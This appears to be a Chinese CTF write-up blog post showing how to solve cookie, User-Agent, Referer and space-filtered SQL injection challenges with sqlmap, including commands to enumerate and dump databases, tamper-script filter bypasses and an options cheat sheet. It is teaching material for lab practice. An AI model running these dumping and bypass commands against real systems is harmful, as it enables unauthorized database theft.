sql注入 (运用sqlmap解题)

注:level参数

使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。

--level 参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。

  • level 1默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:除了前面提到的,还会检查 cookie 里的数据。
  • level 3:user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。

1.cookie注入

1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了

2)用BP抓包,

3)然后把抓到的信息存成txt文件

4)然后用sqlmap查看是否有sql注入

sqlmap -r "文件地址"

5)从扫描结果可以看出这里它是使用了cookie注入

然后我们查看一下它的数据库

sqlmap -r '文件地址' --dbs

6)查到它有四个库,一次查看后有用数据在sqli里

查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch

7)然后再查看表里的字段信息

sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch

然后便能找到flag

2.UA注入

1)进入题目环境,页面显示注入类型为UA注入

2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存

3)接着用sqlmap测试注入类型及注入点

复制代码
sqlmap -u "网址" -level 3 --dbs

4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里

查看里面的数据

复制代码
sqlmap -u "网址" level 3 -D sqli --tables --dbs

5)找到表里有两个字段,查看第一个

复制代码
sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch

然后找到flag

3.Refer注入

1)进入题目环境

2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了

sqlmap -u "网址" -level 3 --dbs

3)扫出数据库,然后查表,查到在sqli里面

sqlmap -u "网址" -D sqli --tables --batch

4)然后扫描字段数据

sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch

4.过滤空格

1)进入环境,说是空格被过滤

2)用sqlmap扫描时需要用到sqlmap的脚本

space2comment.py 用"/**/"替换空格符

注入命令

复制代码
sqlmap -u '网址'--current-db --tamper=space2comment.py

3)扫出sqli,然后看表里内容,得到flag

复制代码
sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py

5.小结

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

常见需要注意的一些命令

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

相关推荐
小猿姐20 分钟前
KubeBlocks for Milvus 揭秘
数据库·云原生
码出未来85722 分钟前
浅谈DDL、DSL、DCL、DML、DQL
sql
AI 嗯啦25 分钟前
SQL详细语法教程(四)约束和多表查询
数据库·人工智能·sql
阿里云大数据AI技术28 分钟前
【跨国数仓迁移最佳实践6】MaxCompute SQL语法及函数功能增强,10万条SQL转写顺利迁移
python·sql
杜子不疼.1 小时前
《Python学习之文件操作:从入门到精通》
数据库·python·学习
TDengine (老段)1 小时前
TDengine IDMP 高级功能(4. 元素引用)
大数据·数据库·人工智能·物联网·数据分析·时序数据库·tdengine
DashVector2 小时前
如何通过Java SDK分组检索Doc
java·数据库·面试
Olrookie2 小时前
XXL-JOB GLUE模式动态数据源实践:Spring AOP + MyBatis 解耦多库查询
java·数据库·spring boot
苏婳6662 小时前
【最新版】怎么下载mysqlclient并成功安装?
数据库·python·mysql
Tapdata4 小时前
《实时分析市场报告 2025》上线 | 从批处理到实时洞察,2025 年全球实时分析市场全景解读
数据库